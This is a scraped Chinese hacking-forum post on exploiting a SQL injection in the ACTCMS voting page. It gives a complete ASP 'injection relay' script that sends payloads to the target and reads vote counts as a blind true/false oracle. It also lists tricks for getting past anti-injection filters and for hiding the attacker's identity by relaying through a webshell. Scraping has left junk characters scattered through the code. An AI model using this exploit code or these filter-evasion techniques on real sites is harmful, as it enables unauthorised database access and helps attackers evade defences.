找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2113|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
, z5 B  ?. G! b8 H
看到ninty大牛的blog的一篇文章! Q/ [/ h0 m& |, }7 D" a
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
# d$ ~: P7 X  _. ^关于actcms漏洞的利用  by 3x qq:381862589" k% \3 j# S9 K9 i4 {5 Y0 i
转载请注明以上
( ^0 i7 H8 r0 `6 _# L: K" ^: l) u漏洞文件:
: [6 n: Q4 u& k8 u3 ]/plus/vote/vote.asp. l- h' r. F0 R
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ m& a9 C2 c* X( V
6 |4 x; N8 T4 C: D; ]/ g* c' Z2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ; x* \/ C1 p1 C
) z: G* s" Y: x/ [4 H
3    response.end   
/ l0 R/ c  D& K7 o
' n9 q: S- y9 Z4    end if   
" f/ ?2 V. n4 _
2 x  g; L' R5 g0 q. z5    for i=1 to request("voted").count    + F2 n% h: l$ x- o& o5 A
# J( L- ~$ p0 T
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
' F& k; a  ]9 T4 M% @  W
) F. B# j1 R& c' j/ c% @( k7    next   
$ f: c0 F" f- R1 M9 `4 |0 }
/ t' i* Y) A2 e8....    ( b! @/ E  D) u& F

5 O; z3 R1 a' v- N5 y4 ^9response.Redirect "index.asp?id="&id&""   " l1 O5 }' z+ y0 q- P: X
投票结束回跳转回index.asp这个投票结果页面' C/ i$ _% a7 T3 @, h/ l7 T
如果投票成功票数加1
1 ~3 T1 }6 C5 m0 N            失败票数不变) [7 S% x4 c# Y. n
如图:
7 a& N; ?& |: @: ~http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)/ D& H2 \& L' I( [8 ~5 _

2 K. k: [8 D6 [2009-12-27 13:20
7 @) ~5 U4 P) z* B$ {$ [3 A: g
3 J* u4 x1 o6 m2 U% }1 P利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了( h( ]+ z* t/ a: b3 c
- i6 t9 C9 t& Z" A
本帖隐藏的内容需要回复才可以浏览/ x2 ~0 V" v3 k- a  @3 @$ b/ |" \
我们用注入中转来实现这个注入具体代码如下:
) k6 @( e4 r# ^, j$ x+ |先用寂寞的刺猬大牛的注入中转生成jmget.asp5 X1 m2 ?: l5 b
注入地址:http://localhost/actcms/plus/vote/vote.asp0 O3 w$ T- q6 V7 X+ O0 H' u
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
# r2 [, ]0 C" d# B  w
! N$ }' n2 {$ z' w, f& x然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ! f9 K+ ^; u1 \" D
2 L$ f) D) D* s; X' X9 |
02JmdcwName=request("jmdcw") 9 w  ~$ H; C* [+ R% l! }
9 h% `# F+ ^; K* {: T
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
# Z* T; H3 A8 }! [$ J" [; G" A  ~9 Q* n2 t: V9 ^
04JmStr="id=1&voted=-1 or 1="&JmdcwName # a) b& j- j+ o: w( k
( f5 ~! I  B7 a8 X& q
05JmStr=URLEncoding(JmStr) : ]9 l2 z$ D) m; j+ }* i

9 |: x# z5 B4 Y8 |06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp": \. j; a9 ~* R

: ?: J5 Y" O9 F- \& H; K2 [07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
- j9 ~; d7 g. S0 B" [
/ `, P9 \) p# F. I08testurl=testurl & "?" & JmStr
, j2 }8 J/ I, u- Z
: r+ t% F, R3 t; k09JMUrl=JMUrl & "?" & JmStr
" n4 ^8 n; A  z9 c2 {; _. O0 g9 ^
+ |1 n) u) ?. u* y0 q10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"  B& V, }0 D. _5 a9 p7 y4 w

, n) C* _: Y7 m1 l11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;", W( O( [7 k! {

9 r& S4 v' e  E  N12JmCok=replace(JmCok,chr(32),"%20")  9 {/ H% m5 f4 r: ~6 q. m4 b
" }4 R& k/ B- G2 b
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ y7 {( b% c, ~7 J- P3 [
5 {8 b# X' ^7 X- z8 U14  6 s8 @0 W6 J- v" Y# }
0 c* t2 }$ x* [$ m+ r
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! D  e4 R' m, X! z, Z9 a3 v& @+ G6 d1 Z% E# A: v7 v. f1 R
16  : D/ Y# J' ]7 w/ r$ M

3 X( w) P' t/ d! D, y4 s17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 * D1 T; N% q. Z; S
+ ]0 `% V. ^6 G4 e, _+ F4 w
18response.write test1&""&test2&""
1 O" _+ V. }* S5 Q7 h# S1 G2 u: {  Q" ~
19  
- l- V, f& F" n' k
& X4 s. a+ `  b6 G6 V20if test1=test2 then '如前后记录相等,表示失败 ) y5 J% ~2 H# V+ _
, m- P+ M4 y; k4 U: Z
21  response.write "failed"1 s( h  h; Q/ _7 o1 i# E
( f) D6 P4 L# U8 w2 b# R* D
22else : P8 y- z0 g  }) w

$ n( u5 g& _3 }" h7 f23  response.write "succeed"- s( H8 q) c% `  r: [
( @6 l7 ~: K2 I( R4 ]6 W. I; y9 ^
24end if  7 k0 r6 d, |, d8 _2 ^: Q

) j, y+ \: l$ s( Y25  0 E& z; {/ U2 G7 X, t, F# H

! d4 g/ y& C/ f' g% M, ?26response.write "by 3x"
8 i0 \7 R$ X, e1 [8 p# V) X6 u0 c# t
0 g. m2 D: _6 R. r27  5 ]& K) {: R8 _* @- Q8 W2 k4 M

9 x( X9 m, Z4 {2 Q4 H28  % y  r% \. n3 u5 M. L* U
& {7 R) C6 `7 m4 L( p
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   5 i. x+ C4 D- ^6 s; \6 a9 T7 F
- _4 e# u! u" b" Y! g! e
30Dim Http * q) n1 s( v5 E; x; W
" J: h$ T) r/ ^0 V, Q
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 6 k# u* u! n" ~# y+ Q9 i9 ]  m

6 y: L( [! w9 u' p+ ~32With Http
8 t) H4 l; u1 ?8 ]: z6 n9 P. E$ D) B7 \
33  
1 b* ], Y4 y; a1 t6 t& ~# _) i+ ]6 [- `+ }
34.Open "GET",PostUrl,False
2 I% B  y) ~0 I. f  M! L  j: u3 }  M' i! U2 W& e' I
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"+ `7 y) ~0 [- X
. A& Y4 b! S) ]3 V) z
36.SetRequestHeader "Referer",PostRef
; a  F+ m% T- @  e8 l" L9 J1 b# z0 |$ B) [6 X
37.SetRequestHeader "Cookie",PostCok
" n* A. V- w" o
" U0 z* a7 `$ H, Y$ M38.Send ()
+ @, K8 D$ r$ K
& s- a- K3 E  T" E% C, F8 [$ L- Z4 [5 S3 ?39PostData = .ResponseBody   U0 U; |2 n7 B& ?
! F8 ^; t1 M5 ^
40End With" \" B. {- _# V6 `0 E0 c

9 ^, V4 ?  ^# ?41Set Http = Nothing1 n  ]6 h& L) T. I. w6 V
5 j" o  M/ Q7 z: s& |/ k; M
42PostData =bytes2BSTR(PostData) : c; x1 {% h% \! _- F& m
! ~* M8 O8 }8 k  N& ?3 g7 m5 b" p. R
43End Function6 I0 a. s, B$ _% B

. Z/ \* Q. V4 j7 c44  
, v" N0 }' _6 ]6 R# a$ e1 Z: s6 Z& h0 `; z1 G6 g& r  [9 _! Z
45  
! [8 V# Y% X- h; l* |
; D3 o9 l7 Q0 Y4 k' R46Function bytes2BSTR(vIn)
# Y" _# h* K$ f  w
+ }4 r0 C# Q4 N  k/ ]47Dim strReturn
: ]( X5 m7 b9 i. S" \/ v: \& u' B
48Dim I, ThisCharCode, NextCharCode
; [7 V* C5 p# y- |1 B2 o4 ~, n) T7 a+ I0 R& N" P: n/ H" x' r
49strReturn = ""- y: N  J3 `# I& Z' I! O
, l: H! B0 g. S( j- M
50For I = 1 To LenB(vIn) 2 s2 Q+ W" @2 g9 C
1 R, K9 n- h! N2 @5 d  T% }
51ThisCharCode = AscB(MidB(vIn, I, 1)) / q( {+ W2 j# y; C
! q5 a! g+ k, {5 v1 u
52If ThisCharCode < &H80 Then6 }7 U3 H8 L8 \
9 a, O  K" U; M, J# f
53strReturn = strReturn & Chr(ThisCharCode)
# U- A2 B* d! g5 l7 \9 U
1 s' s/ k$ \  t2 K54Else  P9 ~/ K7 c! A3 o
, l6 o2 J* U( a5 z) j4 c, P/ H
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
/ Y& [/ m/ r$ Y# \4 ]6 J
* {" b% m2 l8 {) A% B( U56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) / h2 R: I' Z1 |; C9 e1 x6 t

9 [. P& o9 Q" H& m' g9 p6 f57I = I + 1
# u( D- f- d+ u' k7 g2 ~) w% a- `# a6 a
58End If$ ]' L2 H% \0 }: |, H& s( Z

" u/ s; l9 K8 g7 i* n, h& w/ J59Next' E# f" l. m9 ?5 J" |" S

" n( P% h8 G" u$ R60bytes2BSTR = strReturn
" r$ w1 }/ u6 k2 y' t
* x! a9 G8 d" Q+ m: J61End Function  y8 N: c$ N5 p+ G! {% y/ a

5 x2 V* F. O) \- w+ ?- R/ v! P62  
: d4 e2 X0 j8 h) q2 v( W  ]( P- ~8 g( h- e! F6 a* R* j6 H
63Function URLEncoding(vstrin)  
7 [, Q# I) u1 {& u: |' Y
2 i0 r, h0 t1 W7 K( W5 N1 m5 b64strReturn=""
- Z* B* W  [. w8 K) i  B9 ^7 V2 c6 Q0 ?
65Dim i
* l8 T8 z/ m0 H6 c! D; {1 ?  Y- l) e9 x+ ?* o  E% u
66For i=1 To Len(vstrin) : K6 R; I! E+ v0 b: N: i7 N+ L) G

8 y9 W5 P5 V3 X; G: _! e67ThisChr=Mid(vstrin,i,1) 3 _3 u* K. q- o# D
2 g0 t- Q$ B# ^; R' U' t
68if Abs(Asc(ThisChr))< &HFF Then
& {4 l& W2 `2 ]. z1 u, e/ D2 k: F$ g! h2 O& |( o5 l
69strReturn=strReturn & ThisChr
4 |5 S! e. G' k- x* c: H% N" u" W3 q7 j, ?% K  j& t
70Else1 l2 `8 ~$ _3 \; M8 j  U7 R8 h

, v6 d6 H. A. x1 Z1 v+ B71InnerCode=Asc(ThisChr) 3 K) V2 N& p' P+ q# v6 N
1 k7 Z7 \, R0 Y7 q' r4 M3 r
72If InnerCode<0 Then
5 w& A7 x, C4 K. Z/ G, Y/ e
/ S% y6 Y! f2 n! f; A1 ^7 B# o73InnerCode=InnerCode + &H10000 $ A8 J2 R9 c" c. f

- s; F& i) l, o, N* M74End If
, z4 \4 j3 x) i2 C% D* G# [6 {0 r  m. H
75Hight1=(InnerCode And &HFF00) \&HFF 1 ]1 s' w, p2 r$ h+ o

" e/ ~% E7 D' K; s$ b& p+ Y0 }: ~6 @76Low1=InnerCode And &HFF
4 y! H0 F1 G* q5 {8 x6 w! X. k+ j+ Y. S$ L- w1 G
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- _5 F& H8 C% J* @. K1 X" V: t: d; `5 J; `$ }
78End if
1 w2 z8 y& y  P! }3 K0 E/ I# U' y; O
79Next3 \7 m+ B" B% W% l) d1 X: {

. l4 g- ]0 J( {7 u80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
8 k1 v# s5 n) U/ q  \
. ^5 a" s+ H4 ~/ J+ {7 W8 I& o81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 6 t8 C7 e2 E( H

# v0 c5 S" w/ ^$ j7 p82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
, P8 F( h/ _8 H/ @; l- F, A+ X+ @! N7 l+ B; n( A
83URLEncoding=strReturn
7 o. Y$ M7 b: ?' Z& I5 A9 g
+ n6 @% R* A/ Y5 Y' f+ y% z7 i% B: y84End Function
& r0 @4 ]/ t$ f* n5 Y8 N
6 E1 y5 g: A, `6 g1 w8 V85  
7 _) Y0 X2 [4 K* i1 h
6 D1 b& I7 s' L+ w86function getSt(body) * k1 ?& }3 J# W1 b0 z% G7 n

4 {: @: |8 _. y. I/ i  _5 M87  startpot=instr(body,"投票人数:")+len("投票人数:") ( E. G. A5 _$ |( d: y4 i
2 F" t0 t$ t* ?
88  endpot=instr(startpot,body," ")
( O4 O! a" ~& S4 Q% T) l# D! c
- g7 J4 `6 n. N# P$ N0 Z% L6 {89  getSt=mid(body,startpot,endpot-startpot) 6 }5 v+ [' X- N6 o: v

. ~! D4 O1 M! g% k* a1 Y90end function
$ p7 ]  [: S& a0 Y% Y/ L/ K
" N  {$ ]0 t# P. I$ _, K0 q91%>) t6 c/ d' }/ Q5 i* x
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了5 y8 s7 X# k8 b, }( ?4 u
测试下效果:' c1 M5 X" X. Q( f+ i
投票成功:
' i# I8 K* Q8 Q0 h# Vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
& b& \3 d, Y& ~9 W5 V: i
/ Q) K/ ]; t- m" Z6 l2009-12-27 13:29
, t5 Q. d, R. F- f投票失败2 U0 O$ ~  X' v6 o: N4 }8 S
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
5 g! _  S+ b3 F) A- d
2 d, l% _4 ?0 }9 K5 s8 J2 B8 @2 o2009-12-27 13:29# ^2 M! b. t- [5 |  H; x. B
-------------------------------------------------------------------------------
( J. V  q& U% L8 W/ E# S  ]( W再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
! c$ O: j! f! y- i9 Q7 R很抱歉。。。只能用单线程工具去注入。。。。。
. Q( [$ d- a0 a% R# Y0 d5 E6 o$ B7 @所以失败。。。不好意思。。。
9 G9 R! R$ S" @  F-------------------------------------------------------------------------------- u. N. ^8 q. P% k: B, L. y( s
3 J: o6 a( r$ j2 _6 B5 d
注入中转的一些其他应用. G4 L& S, [! Q- Z4 J4 M& G
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了: ~) K0 p% V1 ]: a% X5 ~; _' @2 J+ ^) J
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
! X: L, n* T7 v2.post注入转成get型的注入,方便我们使用工具来跑
: L, ]: Q) I% U8 o3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
( Y6 o' @5 P$ M4 F' u- W+ O4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过, f0 Y0 @- a, B  [' K4 {
1 F$ M" G- D/ s0 A& H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表